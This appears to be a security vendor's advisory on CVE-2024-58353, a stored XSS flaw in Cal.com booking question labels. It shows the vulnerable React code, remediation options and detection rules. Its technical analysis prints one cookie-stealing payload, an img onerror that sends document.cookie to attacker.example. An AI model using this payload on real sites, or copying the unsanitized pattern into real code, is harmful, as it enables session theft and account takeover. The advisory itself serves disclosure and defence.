Skip to main content

Free 30-min security demo Book Now

Offensive360 Offensive360
ZeroDays CVE-2024-58353
High CVE-2024-58353 CVSS 8.9 Cal.com (cal.diy) TypeScript

Cal.com Question Label XSS

CVE-2024-58353 exposes Cal.com ≤4.7.15 to stored XSS through unsanitized booking question labels rendered via dangerouslySetInnerHTML in public booking views.

Offensive360 Research Team
Affects: <= 4.7.15
Source Code View Patch

Overview

CVE-2024-58353 is a stored cross-site scripting (XSS) vulnerability in Cal.com’s self-hosted scheduling platform (calcom/cal.diy), affecting all versions up to and including 4.7.15. The flaw resides in the publicly accessible single booking view — typically served at /booking/<id> — where booking question (form field) labels are rendered directly into the DOM using React’s dangerouslySetInnerHTML API without any prior sanitization or a restricting Content Security Policy (CSP). An attacker with the ability to create an event type can craft a booking question whose label contains arbitrary HTML or JavaScript; that payload is then stored server-side and executed in every victim’s browser when they visit the booking confirmation URL.

The attack surface is particularly broad on self-hosted instances that allow open registration, because any registered user — not just an administrator — can define event types with custom booking questions. The booking confirmation page is unauthenticated and publicly reachable, which means a victim does not need to be logged in for the payload to fire. Given that scheduling links are routinely shared over email and chat, the delivery mechanism for social-engineering victims into visiting the malicious URL is trivially low-friction.

Security researchers disclosed the issue responsibly through GitHub’s private advisory mechanism. The Cal.com team acknowledged and patched the vulnerability in version 4.7.16, released alongside security advisory GHSA-vgj7-76cw-h6f8.

Technical Analysis

The root cause is a straightforward but critical misuse of React’s escape hatch for raw HTML rendering. In the booking view component, the code iterates over the booking’s associated event-type questions and renders each question’s label field directly as inner HTML:

// VULNERABLE — packages/ui/components/booking/BookingFields.tsx (≤ 4.7.15)
{fields.map((field) => (
  <div key={field.name} className="booking-field">
    <label
      htmlFor={field.name}
      dangerouslySetInnerHTML={{ __html: field.label }}
    />
    <Input id={field.name} name={field.name} type={field.type} />
  </div>
))}

The field.label value originates from attacker-controlled data stored in the database at event-type creation time. Because dangerouslySetInnerHTML bypasses React’s automatic HTML entity encoding, whatever string is stored in field.label is injected verbatim into the live DOM. A malicious label such as:

Meeting topic<img src=x onerror="fetch('https://attacker.example/exfil?c='+document.cookie)">

…is stored as-is and later rendered as a fully functional <img> element whose onerror handler executes in the context of the Cal.com origin. There is no server-side or client-side sanitization step between storage and rendering, and the absence of a restrictive Content-Security-Policy header means the browser imposes no additional barrier to inline script execution or outbound requests.

The dangerouslySetInnerHTML prop exists for legitimate use cases — rendering pre-sanitized rich text from a trusted CMS, for example — but it demands that the caller guarantees the content is safe. The Cal.com code made no such guarantee. The data path is: attacker creates event type → sets malicious label on a booking question → victim opens the booking URL → booking view fetches event type data → label is set as innerHTML → payload executes.

From a CWE perspective this maps directly to CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting), specifically the stored (Type 2) variant. The CVSS 3.1 vector that produces the 8.9 score reflects network-reachable attack (AV:N), no authentication required for victim impact (PR:N on the booking view itself), no user interaction beyond visiting a shared link (UI:R), and high confidentiality, integrity, and availability impact against the victim’s browser session.

Impact

An attacker who successfully exploits this vulnerability can execute arbitrary JavaScript in the security context of the Cal.com instance for every user who visits the crafted booking URL. Practical exploitation scenarios include:

  • Session hijacking: Exfiltrating authentication cookies or localStorage tokens to a remote server, enabling full account takeover of the victim.
  • Credential phishing: Injecting a fake login overlay that harvests credentials before redirecting to the legitimate page.
  • Calendar data theft: Using the victim’s authenticated session to silently enumerate their scheduled meetings, contacts, and integrations via Cal.com’s API.
  • Malware distribution: Redirecting victims to drive-by download pages or exploiting browser vulnerabilities.
  • Supply-chain pivot: On enterprise deployments, a compromised admin session could be used to modify webhook configurations, redirecting booking data to an attacker-controlled endpoint at scale.

Self-hosted instances with open registration are the highest-risk targets because the attacker’s only prerequisite is a free account. Even on invite-only deployments, a single compromised or insider account is sufficient to introduce the payload.

How to Fix It

The correct remediation is to sanitize the label content before passing it to dangerouslySetInnerHTML, or — better — to avoid dangerouslySetInnerHTML entirely where plain text is sufficient.

Option 1 — Remove dangerouslySetInnerHTML (preferred where rich text is not required):

// FIXED — render label as plain text; React escapes it automatically
{fields.map((field) => (
  <div key={field.name} className="booking-field">
    <label htmlFor={field.name}>
      {field.label}
    </label>
    <Input id={field.name} name={field.name} type={field.type} />
  </div>
))}

Option 2 — Sanitize with DOMPurify before rendering (where rich text is genuinely needed):

import DOMPurify from "dompurify";

{fields.map((field) => (
  <div key={field.name} className="booking-field">
    <label
      htmlFor={field.name}
      dangerouslySetInnerHTML={{
        __html: DOMPurify.sanitize(field.label, {
          ALLOWED_TAGS: ["b", "i", "em", "strong"],
          ALLOWED_ATTR: [],
        }),
      }}
    />
    <Input id={field.name} name={field.name} type={field.type} />
  </div>
))}

Option 3 — Deploy a restrictive Content Security Policy as a defence-in-depth layer that limits the damage of any future XSS. At minimum:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

Upgrade instructions:

# npm
npm install @calcom/[email protected]

# yarn
yarn add @calcom/[email protected]

# pnpm
pnpm add @calcom/[email protected]

Self-hosters who cannot upgrade immediately should disable open registration and audit existing event types for suspicious label content in the database.

Our Take

This vulnerability is a textbook example of the dangerouslySetInnerHTML anti-pattern that continues to surface in React codebases at an alarming rate. The API’s name is a deliberate red flag from the React team, yet developers routinely reach for it to handle rich-text rendering without pausing to audit the data source. The real problem is architectural: the label field was probably never intended to carry HTML, but at some point a developer needed markdown or basic formatting and took the path of least resistance.

For enterprises running Cal.com or any React-based SaaS internally, this class of bug underscores why threat-modelling user-generated content — even seemingly innocuous UI copy like form labels — must be part of the design phase. Booking question labels look like innocuous configuration data until they are reflected into a public, unauthenticated page, at which point they become a first-class injection vector.

Detection with SAST

SAST tools detect this vulnerability class by tracing data flow from user-controlled sources to dangerous sinks. Offensive360’s analysis engine flags the following patterns:

  • Sink identification: Any JSX attribute assignment of the form dangerouslySetInnerHTML={{ __html: <expression> }} is treated as a high-confidence dangerous sink.
  • Taint propagation: The engine traces whether the expression assigned to __html originates from an API response, database read, query parameter, or any other external source without passing through an approved sanitization function (e.g., DOMPurify.sanitize, sanitize-html).
  • CWE mapping: Findings are reported under CWE-79 (XSS) with a sub-classification of stored vs. reflected based on whether the tainted data transits a persistence layer.
  • Rule category: react/dangerous-inner-html-unsanitized — triggered whenever the __html key receives a value whose taint chain includes a remote data fetch, ORM query result, or decoded URL component.

A DAST complement to static analysis is equally important here: dynamic scanners can confirm exploitability by injecting canary payloads into booking question labels during authenticated crawling and observing whether the payload surfaces in unauthenticated booking views. Both analysis modes together provide the coverage needed to catch this pattern before it reaches production.

References

#XSS #React #dangerouslySetInnerHTML #Stored XSS

Detect this vulnerability class in your codebase

Offensive360 SAST scans your source code for CVE-2024-58353-class vulnerabilities and thousands of other patterns — across 60+ languages.